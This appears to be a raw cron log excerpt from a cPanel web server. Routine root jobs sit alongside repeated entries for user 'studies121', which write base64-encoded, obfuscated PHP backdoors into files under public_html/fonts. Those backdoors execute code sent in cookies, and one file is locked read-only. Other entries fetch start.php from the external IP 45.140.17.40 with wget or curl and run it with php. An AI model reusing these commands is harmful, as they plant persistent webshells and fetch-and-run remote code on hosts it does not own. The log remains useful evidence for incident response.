Aug 30 04:15:01 ip-184-168-122-23 CROND[9842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:15:01 ip-184-168-122-23 CROND[9846]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 04:15:01 ip-184-168-122-23 CROND[9843]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 30 04:16:01 ip-184-168-122-23 CROND[9948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:16:01 ip-184-168-122-23 CROND[9951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:16:01 ip-184-168-122-23 CROND[9952]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:16:01 ip-184-168-122-23 CROND[9954]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 04:16:01 ip-184-168-122-23 CROND[9953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:16:01 ip-184-168-122-23 CROND[9950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:17:01 ip-184-168-122-23 CROND[10088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:17:01 ip-184-168-122-23 CROND[10090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:17:01 ip-184-168-122-23 CROND[10092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:17:01 ip-184-168-122-23 CROND[10091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:18:01 ip-184-168-122-23 CROND[10195]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:18:01 ip-184-168-122-23 CROND[10197]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:18:01 ip-184-168-122-23 CROND[10201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:18:01 ip-184-168-122-23 CROND[10199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:18:01 ip-184-168-122-23 CROND[10200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:19:01 ip-184-168-122-23 CROND[10289]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:19:01 ip-184-168-122-23 CROND[10290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:19:01 ip-184-168-122-23 CROND[10291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:19:01 ip-184-168-122-23 CROND[10292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:20:01 ip-184-168-122-23 CROND[10377]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 04:20:01 ip-184-168-122-23 CROND[10380]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 04:20:01 ip-184-168-122-23 CROND[10381]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:20:01 ip-184-168-122-23 CROND[10379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:20:01 ip-184-168-122-23 CROND[10382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:20:01 ip-184-168-122-23 CROND[10387]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 04:20:01 ip-184-168-122-23 CROND[10393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:20:01 ip-184-168-122-23 CROND[10392]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 04:20:01 ip-184-168-122-23 CROND[10398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:21:01 ip-184-168-122-23 CROND[10491]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:21:01 ip-184-168-122-23 CROND[10494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:21:01 ip-184-168-122-23 CROND[10493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:21:01 ip-184-168-122-23 CROND[10495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:22:01 ip-184-168-122-23 CROND[10669]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:22:01 ip-184-168-122-23 CROND[10671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:22:01 ip-184-168-122-23 CROND[10672]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:22:01 ip-184-168-122-23 CROND[10673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:22:01 ip-184-168-122-23 CROND[10674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:23:01 ip-184-168-122-23 CROND[10784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:23:01 ip-184-168-122-23 CROND[10785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:23:01 ip-184-168-122-23 CROND[10786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:23:01 ip-184-168-122-23 CROND[10788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:24:01 ip-184-168-122-23 CROND[10868]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:24:01 ip-184-168-122-23 CROND[10869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:24:01 ip-184-168-122-23 CROND[10870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:24:01 ip-184-168-122-23 CROND[10872]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:24:01 ip-184-168-122-23 CROND[10873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:25:02 ip-184-168-122-23 CROND[10963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:25:02 ip-184-168-122-23 CROND[10965]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 04:25:02 ip-184-168-122-23 CROND[10966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:25:02 ip-184-168-122-23 CROND[10968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:25:02 ip-184-168-122-23 CROND[10967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:25:02 ip-184-168-122-23 CROND[10970]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 04:25:02 ip-184-168-122-23 CROND[10971]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 30 04:26:01 ip-184-168-122-23 CROND[11058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:26:01 ip-184-168-122-23 CROND[11060]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:26:01 ip-184-168-122-23 CROND[11061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:26:01 ip-184-168-122-23 CROND[11064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:26:01 ip-184-168-122-23 CROND[11065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:27:02 ip-184-168-122-23 CROND[11162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:27:02 ip-184-168-122-23 CROND[11164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:27:02 ip-184-168-122-23 CROND[11165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
